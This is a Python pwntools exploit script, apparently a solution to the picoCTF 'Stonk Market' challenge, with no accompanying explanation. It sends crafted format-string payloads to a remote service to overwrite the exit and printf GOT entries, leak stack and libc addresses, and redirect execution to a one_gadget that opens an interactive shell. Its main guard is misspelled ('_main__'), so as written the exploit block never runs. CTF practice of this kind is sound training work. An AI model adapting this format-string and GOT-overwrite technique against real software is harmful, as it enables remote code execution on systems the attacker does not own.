stonk_market.py

from pwn import *

if __name__=="_main__":
#  io = process('./vuln')
  io = remote('mercury.picoctf.net', 5654)

  exe = ELF('./vuln')

  io.sendlineafter("portfolio","1");

  fmt =  '%c'*10
  fmt += f'%{exe.got["exit"] - 10}c'
  fmt += '%n'
  fmt += f'%{ (exe.sym._start - exe.got["exit"] )&0xffff }c'
  fmt += '%20$hn'
  fmt += '%p|%p|%p|%p|%p|%p|%p|%p'
  io.sendlineafter("?\n",fmt);
  io.recvuntil('f0x')
  stack_leak = int(b'0x' + io.recvn(12),0)

  io.sendline("1")
  io.sendlineafter("?\n","%55$p")

  io.recvuntil('token:\n')
  libc_base = int(io.recvline(),0) - 0x21bf7;
  print(hex(libc_base))


  fmt2 =  '%c'*10
  fmt2 += f'%{ ( (exe.got["printf"] + 2) - 10)}c'
  fmt2 += f'%n'
  io.sendlineafter('portfolio','1')
  io.sendlineafter('?\n',fmt2);

  io.sendlineafter('portfolio','1')
  fmt3 =  '%c'*10
  fmt3 += f'%{ ( (exe.got["printf"]) - 10)}c'
  fmt3 += f'%n'

  io.sendlineafter('?\n',fmt3)

  one_gadget = libc_base + 0xe5622

  f = (one_gadget & 0xffffff) >> 16
  print(hex(one_gadget))
  io.sendlineafter('portfolio','1')
  final_fmt =  f'%{ f }c%88$hhn'
  final_fmt += f'%{ (one_gadget&0xffff) - f}c%54$hn'
  io.sendlineafter('?\n',final_fmt)

  io.interactive()